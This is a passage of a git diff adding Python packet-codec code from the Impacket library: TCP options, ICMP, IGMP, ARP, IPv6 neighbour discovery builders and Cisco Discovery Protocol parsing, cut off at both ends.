self.reset_flags(64) + + def get_URG(self): + return self.get_flag(32) + def set_URG(self): + return self.set_flags(32) + def reset_URG(self): + return self.reset_flags(32) + + def get_ACK(self): + return self.get_flag(16) + def set_ACK(self): + return self.set_flags(16) + def reset_ACK(self): + return self.reset_flags(16) + + def get_PSH(self): + return self.get_flag(8) + def set_PSH(self): + return self.set_flags(8) + def reset_PSH(self): + return self.reset_flags(8) + + def get_RST(self): + return self.get_flag(4) + def set_RST(self): + return self.set_flags(4) + def reset_RST(self): + return self.reset_flags(4) + + def get_SYN(self): + return self.get_flag(2) + def set_SYN(self): + return self.set_flags(2) + def reset_SYN(self): + return self.reset_flags(2) + + def get_FIN(self): + return self.get_flag(1) + def set_FIN(self): + return self.set_flags(1) + def reset_FIN(self): + return self.reset_flags(1) + + # Overridden Methods + + def get_header_size(self): + return 20 + len(self.get_padded_options()) + + def calculate_checksum(self): + if not self.auto_checksum or not self.parent(): + return + + self.set_th_sum(0) + buffer = self.parent().get_pseudo_header() + buffer += self.get_bytes() + buffer += self.get_padded_options() + + data = self.get_data_as_string() + if(data): + array_frombytes(buffer, data) + + res = self.compute_checksum(buffer) + + self.set_th_sum(self.compute_checksum(buffer)) + + def get_packet(self): + "Returns entire packet including child data as a string. This is the function used to extract the final packet" + + # only change th_off value if options are present + if len(self.__option_list): + self.set_th_off(self.get_header_size() // 4) + + self.calculate_checksum() + + bytes = self.get_bytes() + self.get_padded_options() + data = self.get_data_as_string() + + if data: + return array_tobytes(bytes) + data + else: + return array_tobytes(bytes) + + def load_header(self, aBuffer): + self.set_bytes_from_string(aBuffer[:20]) + opt_left = (self.get_th_off() - 5) * 4 + opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)]) + if len(opt_bytes) != opt_left: + raise ImpactPacketException("Cannot load options from truncated packet") + + while opt_left: + op_kind = opt_bytes[0] + if op_kind == TCPOption.TCPOPT_EOL or op_kind == TCPOption.TCPOPT_NOP: + new_option = TCPOption(op_kind) + op_len = 1 + else: + op_len = opt_bytes[1] + if op_len > len(opt_bytes): + raise ImpactPacketException("TCP Option length is too high") + if op_len < 2: + raise ImpactPacketException("TCP Option length is too low") + + new_option = TCPOption(op_kind) + new_option.set_bytes(opt_bytes[:op_len]) + + opt_bytes = opt_bytes[op_len:] + opt_left -= op_len + self.add_option(new_option) + if op_kind == TCPOption.TCPOPT_EOL: + break + + # + # Private + # + + def get_flag(self, bit): + if self.get_th_flags() & bit: + return 1 + else: + return 0 + + def reset_flags(self, aValue): + tmp_value = self.get_th_flags() & (~aValue) + return self.set_th_flags(tmp_value) + + def set_flags(self, aValue): + tmp_value = self.get_th_flags() | aValue + return self.set_th_flags(tmp_value) + + def get_padded_options(self): + "Return an array containing all options padded to a 4 byte boundary" + op_buf = array.array('B') + for op in self.__option_list: + op_buf += op.get_bytes() + num_pad = (4 - (len(op_buf) % 4)) % 4 + if num_pad: + array_frombytes(op_buf, b"\0" * num_pad) + return op_buf + + def __str__(self): + tmp_str = 'TCP ' + if self.get_ECE(): + tmp_str += 'ece ' + if self.get_CWR(): + tmp_str += 'cwr ' + if self.get_ACK(): + tmp_str += 'ack ' + if self.get_FIN(): + tmp_str += 'fin ' + if self.get_PSH(): + tmp_str += 'push ' + if self.get_RST(): + tmp_str += 'rst ' + if self.get_SYN(): + tmp_str += 'syn ' + if self.get_URG(): + tmp_str += 'urg ' + tmp_str += '%d -> %d' % (self.get_th_sport(), self.get_th_dport()) + for op in self.__option_list: + tmp_str += '\n' + str(op) + + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + +class TCPOption(PacketBuffer): + TCPOPT_EOL = 0 + TCPOPT_NOP = 1 + TCPOPT_MAXSEG = 2 + TCPOPT_WINDOW = 3 + TCPOPT_SACK_PERMITTED = 4 + TCPOPT_SACK = 5 + TCPOPT_TIMESTAMP = 8 + TCPOPT_SIGNATURE = 19 + + + def __init__(self, kind, data = None): + + if kind == TCPOption.TCPOPT_EOL: + PacketBuffer.__init__(self, 1) + self.set_kind(TCPOption.TCPOPT_EOL) + elif kind == TCPOption.TCPOPT_NOP: + PacketBuffer.__init__(self, 1) + self.set_kind(TCPOption.TCPOPT_NOP) + elif kind == TCPOption.TCPOPT_MAXSEG: + PacketBuffer.__init__(self, 4) + self.set_kind(TCPOption.TCPOPT_MAXSEG) + self.set_len(4) + if data: + self.set_mss(data) + else: + self.set_mss(512) + elif kind == TCPOption.TCPOPT_WINDOW: + PacketBuffer.__init__(self, 3) + self.set_kind(TCPOption.TCPOPT_WINDOW) + self.set_len(3) + if data: + self.set_shift_cnt(data) + else: + self.set_shift_cnt(0) + elif kind == TCPOption.TCPOPT_TIMESTAMP: + PacketBuffer.__init__(self, 10) + self.set_kind(TCPOption.TCPOPT_TIMESTAMP) + self.set_len(10) + if data: + self.set_ts(data) + else: + self.set_ts(0) + elif kind == TCPOption.TCPOPT_SACK_PERMITTED: + PacketBuffer.__init__(self, 2) + self.set_kind(TCPOption.TCPOPT_SACK_PERMITTED) + self.set_len(2) + + elif kind == TCPOption.TCPOPT_SACK: + PacketBuffer.__init__(self, 2) + self.set_kind(TCPOption.TCPOPT_SACK) + + def set_left_edge(self, aValue): + self.set_long (2, aValue) + + def set_right_edge(self, aValue): + self.set_long (6, aValue) + + def set_kind(self, kind): + self.set_byte(0, kind) + + + def get_kind(self): + return self.get_byte(0) + + + def set_len(self, len): + if self.get_size() < 2: + raise ImpactPacketException("Cannot set length field on an option having a size smaller than 2 bytes") + self.set_byte(1, len) + + def get_len(self): + if self.get_size() < 2: + raise ImpactPacketException("Cannot retrieve length field from an option having a size smaller than 2 bytes") + return self.get_byte(1) + + def get_size(self): + return len(self.get_bytes()) + + + def set_mss(self, len): + if self.get_kind() != TCPOption.TCPOPT_MAXSEG: + raise ImpactPacketException("Can only set MSS on TCPOPT_MAXSEG option") + self.set_word(2, len) + + def get_mss(self): + if self.get_kind() != TCPOption.TCPOPT_MAXSEG: + raise ImpactPacketException("Can only retrieve MSS from TCPOPT_MAXSEG option") + return self.get_word(2) + + def set_shift_cnt(self, cnt): + if self.get_kind() != TCPOption.TCPOPT_WINDOW: + raise ImpactPacketException("Can only set Shift Count on TCPOPT_WINDOW option") + self.set_byte(2, cnt) + + def get_shift_cnt(self): + if self.get_kind() != TCPOption.TCPOPT_WINDOW: + raise ImpactPacketException("Can only retrieve Shift Count from TCPOPT_WINDOW option") + return self.get_byte(2) + + def get_ts(self): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException("Can only retrieve timestamp from TCPOPT_TIMESTAMP option") + return self.get_long(2) + + def set_ts(self, ts): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException("Can only set timestamp on TCPOPT_TIMESTAMP option") + self.set_long(2, ts) + + def get_ts_echo(self): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException("Can only retrieve timestamp from TCPOPT_TIMESTAMP option") + return self.get_long(6) + + def set_ts_echo(self, ts): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException("Can only set timestamp on TCPOPT_TIMESTAMP option") + self.set_long(6, ts) + + def __str__(self): + map = { TCPOption.TCPOPT_EOL : "End of List ", + TCPOption.TCPOPT_NOP : "No Operation ", + TCPOption.TCPOPT_MAXSEG : "Maximum Segment Size ", + TCPOption.TCPOPT_WINDOW : "Window Scale ", + TCPOption.TCPOPT_TIMESTAMP : "Timestamp " } + + tmp_str = "\tTCP Option: " + op = self.get_kind() + if op in map: + tmp_str += map[op] + else: + tmp_str += " kind: %d " % op + if op == TCPOption.TCPOPT_MAXSEG: + tmp_str += " MSS : %d " % self.get_mss() + elif op == TCPOption.TCPOPT_WINDOW: + tmp_str += " Shift Count: %d " % self.get_shift_cnt() + elif op == TCPOption.TCPOPT_TIMESTAMP: + pass # TODO + return tmp_str + +class ICMP(Header): + protocol = 1 + ICMP_ECHOREPLY = 0 + ICMP_UNREACH = 3 + ICMP_UNREACH_NET = 0 + ICMP_UNREACH_HOST = 1 + ICMP_UNREACH_PROTOCOL = 2 + ICMP_UNREACH_PORT = 3 + ICMP_UNREACH_NEEDFRAG = 4 + ICMP_UNREACH_SRCFAIL = 5 + ICMP_UNREACH_NET_UNKNOWN = 6 + ICMP_UNREACH_HOST_UNKNOWN = 7 + ICMP_UNREACH_ISOLATED = 8 + ICMP_UNREACH_NET_PROHIB = 9 + ICMP_UNREACH_HOST_PROHIB = 10 + ICMP_UNREACH_TOSNET = 11 + ICMP_UNREACH_TOSHOST = 12 + ICMP_UNREACH_FILTERPROHIB = 13 + ICMP_UNREACH_HOST_PRECEDENCE = 14 + ICMP_UNREACH_PRECEDENCE_CUTOFF = 15 + ICMP_SOURCEQUENCH = 4 + ICMP_REDIRECT = 5 + ICMP_REDIRECT_NET = 0 + ICMP_REDIRECT_HOST = 1 + ICMP_REDIRECT_TOSNET = 2 + ICMP_REDIRECT_TOSHOST = 3 + ICMP_ALTHOSTADDR = 6 + ICMP_ECHO = 8 + ICMP_ROUTERADVERT = 9 + ICMP_ROUTERSOLICIT = 10 + ICMP_TIMXCEED = 11 + ICMP_TIMXCEED_INTRANS = 0 + ICMP_TIMXCEED_REASS = 1 + ICMP_PARAMPROB = 12 + ICMP_PARAMPROB_ERRATPTR = 0 + ICMP_PARAMPROB_OPTABSENT = 1 + ICMP_PARAMPROB_LENGTH = 2 + ICMP_TSTAMP = 13 + ICMP_TSTAMPREPLY = 14 + ICMP_IREQ = 15 + ICMP_IREQREPLY = 16 + ICMP_MASKREQ = 17 + ICMP_MASKREPLY = 18 + + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if aBuffer: + self.load_header(aBuffer) + + def get_header_size(self): + anamolies = { ICMP.ICMP_TSTAMP : 20, ICMP.ICMP_TSTAMPREPLY : 20, ICMP.ICMP_MASKREQ : 12, ICMP.ICMP_MASKREPLY : 12 } + if self.get_icmp_type() in anamolies: + return anamolies[self.get_icmp_type()] + else: + return 8 + + def get_icmp_type(self): + return self.get_byte(0) + + def set_icmp_type(self, aValue): + self.set_byte(0, aValue) + + def get_icmp_code(self): + return self.get_byte(1) + + def set_icmp_code(self, aValue): + self.set_byte(1, aValue) + + def get_icmp_cksum(self): + return self.get_word(2) + + def set_icmp_cksum(self, aValue): + self.set_word(2, aValue) + self.auto_checksum = 0 + + def get_icmp_gwaddr(self): + return self.get_ip_address(4) + + def set_icmp_gwaddr(self, ip): + self.set_ip_address(4, ip) + + def get_icmp_id(self): + return self.get_word(4) + + def set_icmp_id(self, aValue): + self.set_word(4, aValue) + + def get_icmp_seq(self): + return self.get_word(6) + + def set_icmp_seq(self, aValue): + self.set_word(6, aValue) + + def get_icmp_void(self): + return self.get_long(4) + + def set_icmp_void(self, aValue): + self.set_long(4, aValue) + + + def get_icmp_nextmtu(self): + return self.get_word(6) + + def set_icmp_nextmtu(self, aValue): + self.set_word(6, aValue) + + def get_icmp_num_addrs(self): + return self.get_byte(4) + + def set_icmp_num_addrs(self, aValue): + self.set_byte(4, aValue) + + def get_icmp_wpa(self): + return self.get_byte(5) + + def set_icmp_wpa(self, aValue): + self.set_byte(5, aValue) + + def get_icmp_lifetime(self): + return self.get_word(6) + + def set_icmp_lifetime(self, aValue): + self.set_word(6, aValue) + + def get_icmp_otime(self): + return self.get_long(8) + + def set_icmp_otime(self, aValue): + self.set_long(8, aValue) + + def get_icmp_rtime(self): + return self.get_long(12) + + def set_icmp_rtime(self, aValue): + self.set_long(12, aValue) + + def get_icmp_ttime(self): + return self.get_long(16) + + def set_icmp_ttime(self, aValue): + self.set_long(16, aValue) + + def get_icmp_mask(self): + return self.get_ip_address(8) + + def set_icmp_mask(self, mask): + self.set_ip_address(8, mask) + + + def calculate_checksum(self): + if self.auto_checksum and (not self.get_icmp_cksum()): + buffer = self.get_buffer_as_string() + data = self.get_data_as_string() + if data: + buffer += data + + tmp_array = array.array('B', buffer) + self.set_icmp_cksum(self.compute_checksum(tmp_array)) + + def get_type_name(self, aType): + tmp_type = {0:'ECHOREPLY', 3:'UNREACH', 4:'SOURCEQUENCH',5:'REDIRECT', 6:'ALTHOSTADDR', 8:'ECHO', 9:'ROUTERADVERT', 10:'ROUTERSOLICIT', 11:'TIMXCEED', 12:'PARAMPROB', 13:'TSTAMP', 14:'TSTAMPREPLY', 15:'IREQ', 16:'IREQREPLY', 17:'MASKREQ', 18:'MASKREPLY', 30:'TRACEROUTE', 31:'DATACONVERR', 32:'MOBILE REDIRECT', 33:'IPV6 WHEREAREYOU', 34:'IPV6 IAMHERE', 35:'MOBILE REGREQUEST', 36:'MOBILE REGREPLY', 39:'SKIP', 40:'PHOTURIS'} + answer = tmp_type.get(aType, 'UNKNOWN') + return answer + + def get_code_name(self, aType, aCode): + tmp_code = {3:['UNREACH NET', 'UNREACH HOST', 'UNREACH PROTOCOL', 'UNREACH PORT', 'UNREACH NEEDFRAG', 'UNREACH SRCFAIL', 'UNREACH NET UNKNOWN', 'UNREACH HOST UNKNOWN', 'UNREACH ISOLATED', 'UNREACH NET PROHIB', 'UNREACH HOST PROHIB', 'UNREACH TOSNET', 'UNREACH TOSHOST', 'UNREACH FILTER PROHIB', 'UNREACH HOST PRECEDENCE', 'UNREACH PRECEDENCE CUTOFF', 'UNKNOWN ICMP UNREACH']} + tmp_code[5] = ['REDIRECT NET', 'REDIRECT HOST', 'REDIRECT TOSNET', 'REDIRECT TOSHOST'] + tmp_code[9] = ['ROUTERADVERT NORMAL', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None,'ROUTERADVERT NOROUTE COMMON'] + tmp_code[11] = ['TIMXCEED INTRANS ', 'TIMXCEED REASS'] + tmp_code[12] = ['PARAMPROB ERRATPTR ', 'PARAMPROB OPTABSENT', 'PARAMPROB LENGTH'] + tmp_code[40] = [None, 'PHOTURIS UNKNOWN INDEX', 'PHOTURIS AUTH FAILED', 'PHOTURIS DECRYPT FAILED'] + if aType in tmp_code: + tmp_list = tmp_code[aType] + if ((aCode + 1) > len(tmp_list)) or (not tmp_list[aCode]): + return 'UNKNOWN' + else: + return tmp_list[aCode] + else: + return 'UNKNOWN' + + def __str__(self): + tmp_type = self.get_icmp_type() + tmp_code = self.get_icmp_code() + tmp_str = 'ICMP type: ' + self.get_type_name(tmp_type) + tmp_str+= ' code: ' + self.get_code_name(tmp_type, tmp_code) + if self.child(): + tmp_str += '\n' + str( self.child() ) + return tmp_str + + def isDestinationUnreachable(self): + return self.get_icmp_type() == 3 + + def isError(self): + return not self.isQuery() + + def isHostUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 1) + + def isNetUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 0) + + def isPortUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 3) + + def isProtocolUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 2) + + def isQuery(self): + tmp_dict = {8:'', 9:'', 10:'', 13:'', 14:'', 15:'', 16:'', 17:'', 18:''} + return self.get_icmp_type() in tmp_dict + +class IGMP(Header): + protocol = 2 + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if aBuffer: + self.load_header(aBuffer) + + def get_igmp_type(self): + return self.get_byte(0) + + def set_igmp_type(self, aValue): + self.set_byte(0, aValue) + + def get_igmp_code(self): + return self.get_byte(1) + + def set_igmp_code(self, aValue): + self.set_byte(1, aValue) + + def get_igmp_cksum(self): + return self.get_word(2) + + def set_igmp_cksum(self, aValue): + self.set_word(2, aValue) + + def get_igmp_group(self): + return self.get_long(4) + + def set_igmp_group(self, aValue): + self.set_long(4, aValue) + + def get_header_size(self): + return 8 + + def get_type_name(self, aType): + tmp_dict = {0x11:'HOST MEMBERSHIP QUERY ', 0x12:'v1 HOST MEMBERSHIP REPORT ', 0x13:'IGMP DVMRP ', 0x14:' PIM ', 0x16:'v2 HOST MEMBERSHIP REPORT ', 0x17:'HOST LEAVE MESSAGE ', 0x1e:'MTRACE REPLY ', 0X1f:'MTRACE QUERY '} + answer = tmp_dict.get(aType, 'UNKNOWN TYPE OR VERSION ') + return answer + + def calculate_checksum(self): + if self.auto_checksum and (not self.get_igmp_cksum()): + self.set_igmp_cksum(self.compute_checksum(self.get_bytes())) + + def __str__(self): + tmp_str = 'IGMP: ' + self.get_type_name(self.get_igmp_type()) + tmp_str += 'Group: ' + socket.inet_ntoa(struct.pack('!L',self.get_igmp_group())) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + + +class ARP(Header): + ethertype = 0x806 + def __init__(self, aBuffer = None): + Header.__init__(self, 7) + if aBuffer: + self.load_header(aBuffer) + + def get_ar_hrd(self): + return self.get_word(0) + + def set_ar_hrd(self, aValue): + self.set_word(0, aValue) + + def get_ar_pro(self): + return self.get_word(2) + + def set_ar_pro(self, aValue): + self.set_word(2, aValue) + + def get_ar_hln(self): + return self.get_byte(4) + + def set_ar_hln(self, aValue): + self.set_byte(4, aValue) + + def get_ar_pln(self): + return self.get_byte(5) + + def set_ar_pln(self, aValue): + self.set_byte(5, aValue) + + def get_ar_op(self): + return self.get_word(6) + + def set_ar_op(self, aValue): + self.set_word(6, aValue) + + def get_ar_sha(self): + tmp_size = self.get_ar_hln() + return self.get_bytes().tolist()[8: 8 + tmp_size] + + def set_ar_sha(self, aValue): + for i in range(0, self.get_ar_hln()): + self.set_byte(i + 8, aValue[i]) + + def get_ar_spa(self): + tmp_size = self.get_ar_pln() + return self.get_bytes().tolist()[8 + self.get_ar_hln(): 8 + self.get_ar_hln() + tmp_size] + + def set_ar_spa(self, aValue): + for i in range(0, self.get_ar_pln()): + self.set_byte(i + 8 + self.get_ar_hln(), aValue[i]) + + def get_ar_tha(self): + tmp_size = self.get_ar_hln() + tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln() + return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size] + + def set_ar_tha(self, aValue): + tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln() + for i in range(0, self.get_ar_hln()): + self.set_byte(i + tmp_from, aValue[i]) + + def get_ar_tpa(self): + tmp_size = self.get_ar_pln() + tmp_from = 8 + ( 2 * self.get_ar_hln()) + self.get_ar_pln() + return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size] + + def set_ar_tpa(self, aValue): + tmp_from = 8 + (2 * self.get_ar_hln()) + self.get_ar_pln() + for i in range(0, self.get_ar_pln()): + self.set_byte(i + tmp_from, aValue[i]) + + def get_header_size(self): + return 8 + (2 * self.get_ar_hln()) + (2 * self.get_ar_pln()) + + def get_op_name(self, ar_op): + tmp_dict = {1:'REQUEST', 2:'REPLY', 3:'REVREQUEST', 4:'REVREPLY', 8:'INVREQUEST', 9:'INVREPLY'} + answer = tmp_dict.get(ar_op, 'UNKNOWN') + return answer + + def get_hrd_name(self, ar_hrd): + tmp_dict = { 1:'ARPHRD ETHER', 6:'ARPHRD IEEE802', 15:'ARPHRD FRELAY'} + answer = tmp_dict.get(ar_hrd, 'UNKNOWN') + return answer + + + def as_hrd(self, anArray): + if not anArray: + return '' + tmp_str = '%x' % anArray[0] + for i in range(1, len(anArray)): + tmp_str += ':%x' % anArray[i] + return tmp_str + + def as_pro(self, anArray): + if not anArray: + return '' + tmp_str = '%d' % anArray[0] + for i in range(1, len(anArray)): + tmp_str += '.%d' % anArray[i] + return tmp_str + + def __str__(self): + tmp_op = self.get_ar_op() + tmp_str = 'ARP format: ' + self.get_hrd_name(self.get_ar_hrd()) + ' ' + tmp_str += 'opcode: ' + self.get_op_name(tmp_op) + tmp_str += '\n' + self.as_hrd(self.get_ar_sha()) + ' -> ' + tmp_str += self.as_hrd(self.get_ar_tha()) + tmp_str += '\n' + self.as_pro(self.get_ar_spa()) + ' -> ' + tmp_str += self.as_pro(self.get_ar_tpa()) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + +def example(): #To execute an example, remove this line + a = Ethernet() + b = ARP() + c = Data('Hola loco!!!') + b.set_ar_hln(6) + b.set_ar_pln(4) + #a.set_ip_dst('192.168.22.6') + #a.set_ip_src('1.1.1.2') + a.contains(b) + b.contains(c) + b.set_ar_op(2) + b.set_ar_hrd(1) + b.set_ar_spa((192, 168, 22, 6)) + b.set_ar_tpa((192, 168, 66, 171)) + a.set_ether_shost((0x0, 0xe0, 0x7d, 0x8a, 0xef, 0x3d)) + a.set_ether_dhost((0x0, 0xc0, 0xdf, 0x6, 0x5, 0xe)) + print("beto %s" % a) diff --git a/impacket/NDP.py b/impacket/NDP.py new file mode 100644 index 0000000..60b1401 --- /dev/null +++ b/impacket/NDP.py @@ -0,0 +1,167 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import array +import struct + +from impacket import ImpactPacket +from impacket.ICMP6 import ICMP6 + + +class NDP(ICMP6): + #ICMP message type numbers + ROUTER_SOLICITATION = 133 + ROUTER_ADVERTISEMENT = 134 + NEIGHBOR_SOLICITATION = 135 + NEIGHBOR_ADVERTISEMENT = 136 + REDIRECT = 137 + +############################################################################ +# Append NDP Option helper + + def append_ndp_option(self, ndp_option): + #As NDP inherits ICMP6, it is, in fact an ICMP6 "header" + #The payload (where all NDP options should reside) is a child of the header + self.child().get_bytes().extend(ndp_option.get_bytes()) + + +############################################################################ + @classmethod + def Router_Solicitation(class_object): + message_data = struct.pack('>L', 0) #Reserved bytes + return class_object.__build_message(NDP.ROUTER_SOLICITATION, message_data) + + @classmethod + def Router_Advertisement(class_object, current_hop_limit, + managed_flag, other_flag, + router_lifetime, reachable_time, retransmission_timer): + flag_byte = 0x00 + if (managed_flag): + flag_byte |= 0x80 + if (other_flag): + flag_byte |= 0x40 + + message_data = struct.pack('>BBHLL', current_hop_limit, flag_byte, router_lifetime, reachable_time, retransmission_timer) + return class_object.__build_message(NDP.ROUTER_ADVERTISEMENT, message_data) + + @classmethod + def Neighbor_Solicitation(class_object, target_address): + message_data = struct.pack('>L', 0) #Reserved bytes + message_data += ImpactPacket.array_tobytes(target_address.as_bytes()) + return class_object.__build_message(NDP.NEIGHBOR_SOLICITATION, message_data) + + + @classmethod + def Neighbor_Advertisement(class_object, router_flag, solicited_flag, override_flag, target_address): + flag_byte = 0x00 + if (router_flag): + flag_byte |= 0x80 + if (solicited_flag): + flag_byte |= 0x40 + if (override_flag): + flag_byte |= 0x20 + + message_data = struct.pack('>BBBB', flag_byte, 0x00, 0x00, 0x00) #Flag byte and three reserved bytes + message_data += ImpactPacket.array_tobytes(target_address.as_bytes()) + return class_object.__build_message(NDP.NEIGHBOR_ADVERTISEMENT, message_data) + + + @classmethod + def Redirect(class_object, target_address, destination_address): + message_data = struct.pack('>L', 0)# Reserved bytes + message_data += ImpactPacket.array_tobytes(target_address.as_bytes()) + message_data += ImpactPacket.array_tobytes(destination_address.as_bytes()) + return class_object.__build_message(NDP.REDIRECT, message_data) + + + @classmethod + def __build_message(class_object, type, message_data): + #Build NDP header + ndp_packet = NDP() + ndp_packet.set_type(type) + ndp_packet.set_code(0) + + #Pack payload + ndp_payload = ImpactPacket.Data() + ndp_payload.set_data(message_data) + ndp_packet.contains(ndp_payload) + + return ndp_packet + + + + +class NDP_Option(): + #NDP Option Type numbers + SOURCE_LINK_LAYER_ADDRESS = 1 + TARGET_LINK_LAYER_ADDRESS = 2 + PREFIX_INFORMATION = 3 + REDIRECTED_HEADER = 4 + MTU_OPTION = 5 + +############################################################################ + @classmethod + #link_layer_address must have a size that is a multiple of 8 octets + def Source_Link_Layer_Address(class_object, link_layer_address): + return class_object.__Link_Layer_Address(NDP_Option.SOURCE_LINK_LAYER_ADDRESS, link_layer_address) + + @classmethod + #link_layer_address must have a size that is a multiple of 8 octets + def Target_Link_Layer_Address(class_object, link_layer_address): + return class_object.__Link_Layer_Address(NDP_Option.TARGET_LINK_LAYER_ADDRESS, link_layer_address) + + @classmethod + #link_layer_address must have a size that is a multiple of 8 octets + def __Link_Layer_Address(class_object, option_type, link_layer_address): + option_length = (len(link_layer_address) / 8) + 1 + option_data = ImpactPacket.array_tobytes(array.array("B", link_layer_address)) + return class_object.__build_option(option_type, option_length, option_data) + + @classmethod + #Note: if we upgraded to Python 2.6, we could use collections.namedtuples for encapsulating the arguments + #ENHANCEMENT - Prefix could be an instance of IP6_Address + def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_flag, valid_lifetime, preferred_lifetime, prefix): + + flag_byte = 0x00 + if (on_link_flag): + flag_byte |= 0x80 + if (autonomous_flag): + flag_byte |= 0x40 + + option_data = struct.pack('>BBLL', prefix_length, flag_byte, valid_lifetime, preferred_lifetime) + option_data += struct.pack('>L', 0) #Reserved bytes + option_data += ImpactPacket.array_tobytes(array.array("B", prefix)) + option_length = 4 + return class_object.__build_option(NDP_Option.PREFIX_INFORMATION, option_length, option_data) + + + @classmethod + def Redirected_Header(class_object, original_packet): + option_data = struct.pack('>BBBBBB', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)# Reserved bytes + option_data += ImpactPacket.array_tobytes(array.array("B", original_packet)) + option_length = (len(option_data) + 4) / 8 + return class_object.__build_option(NDP_Option.REDIRECTED_HEADER, option_length, option_data) + + @classmethod + def MTU(class_object, mtu): + option_data = struct.pack('>BB', 0x00, 0x00)# Reserved bytes + option_data += struct.pack('>L', mtu) + option_length = 1 + return class_object.__build_option(NDP_Option.MTU_OPTION, option_length, option_data) + + + @classmethod + def __build_option(class_object, type, length, option_data): + #Pack data + data_bytes = struct.pack('>BB', type, length) + data_bytes += option_data + ndp_option = ImpactPacket.Data() + ndp_option.set_data(data_bytes) + + return ndp_option diff --git a/impacket/__init__.py b/impacket/__init__.py new file mode 100644 index 0000000..963b480 --- /dev/null +++ b/impacket/__init__.py @@ -0,0 +1,28 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2016 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# + +# Set default logging handler to avoid "No handler found" warnings. +import logging +try: # Python 2.7+ + from logging import NullHandler +except ImportError: + class NullHandler(logging.Handler): + def emit(self, record): + pass + +# All modules inside this library MUST use this logger (impacket) +# It is up to the library consumer to do whatever is wanted +# with the logger output. By default it is forwarded to the +# upstream logger + +LOG = logging.getLogger(__name__) +LOG.addHandler(NullHandler()) diff --git a/impacket/cdp.py b/impacket/cdp.py new file mode 100644 index 0000000..4264ab9 --- /dev/null +++ b/impacket/cdp.py @@ -0,0 +1,498 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Cisco Discovery Protocol packet codecs. +# +# Author: +# Martin Candurra +# + +from struct import unpack +import socket + +from impacket.ImpactPacket import Header, array_tobytes +from impacket import LOG + +IP_ADDRESS_LENGTH = 4 + +class CDPTypes: + + DeviceID_Type = 1 + Address_Type = 2 + PortID_Type = 3 + Capabilities_Type = 4 + SoftVersion_Type = 5 + Platform_Type = 6 + IPPrefix_Type = 7 + ProtocolHello_Type = 8 + MTU_Type = 17 + SystemName_Type = 20 + SystemObjectId_Type = 21 + SnmpLocation = 23 + +class CDP(Header): + + Type = 0x2000 + OUI = 0x00000c + + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if aBuffer: + self.load_header(aBuffer) + self._elements = self._getElements(aBuffer) + + def _getElements(self, aBuffer): + # Remove version (1 byte), TTL (1 byte), and checksum (2 bytes) + buff = aBuffer[4:] + l = [] + while buff: + elem = CDPElementFactory.create(buff) + l.append( elem ) + buff = buff[ elem.get_length() : ] + return l + + def get_header_size(self): + return 8 + + def get_version(self): + return self.get_byte(0) + + def get_ttl(self): + return self.get_byte(1) + + def get_checksum(self): + return self.get_word(2) + + def get_type(self): + return self.get_word(4) + + def get_lenght(self): + return self.get_word(6) + + def getElements(self): + return self._elements + + + def __str__(self): + tmp_str = 'CDP Details:\n' + for element in self._elements: + tmp_str += "** Type:" + str(element.get_type()) + " " + str(element) + "\n" + return tmp_str + + +def get_byte(buffer, offset): + return unpack("!B", buffer[offset:offset+1])[0] + +def get_word(buffer, offset): + return unpack("!h", buffer[offset:offset+2])[0] + +def get_long(buffer, offset): + return unpack("!I", buffer[offset:offset+4])[0] + +def get_bytes(buffer, offset, bytes): + return buffer[offset:offset + bytes] + +def mac_to_string(mac_bytes): + bytes = unpack('!BBBBBB', mac_bytes) + s = '' + for byte in bytes: + s += '%02x:' % byte + return s[0:-1] + + + +class CDPElement(Header): + + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if aBuffer: + self._length = CDPElement.Get_length(aBuffer) + self.load_header( aBuffer[:self._length] ) + + @classmethod + def Get_length(cls, aBuffer): + return unpack('!h', aBuffer[2:4])[0] + + def get_header_size(self): + self._length + + def get_length(self): + return self.get_word(2) + + def get_data(self): + return array_tobytes(self.get_bytes())[4:self.get_length()] + + def get_ip_address(self, offset = 0, ip = None): + if not ip: + ip = array_tobytes(self.get_bytes())[offset : offset + IP_ADDRESS_LENGTH] + return socket.inet_ntoa( ip ) + +class CDPDevice(CDPElement): + Type = 1 + + def get_type(self): + return CDPDevice.Type + + def get_device_id(self): + return CDPElement.get_data(self) + + def __str__(self): + return "Device:" + self.get_device_id() + +class Address(CDPElement): + Type = 2 + + def __init__(self, aBuffer = None): + CDPElement.__init__(self, aBuffer) + if aBuffer: + data = array_tobytes(self.get_bytes())[8:] + 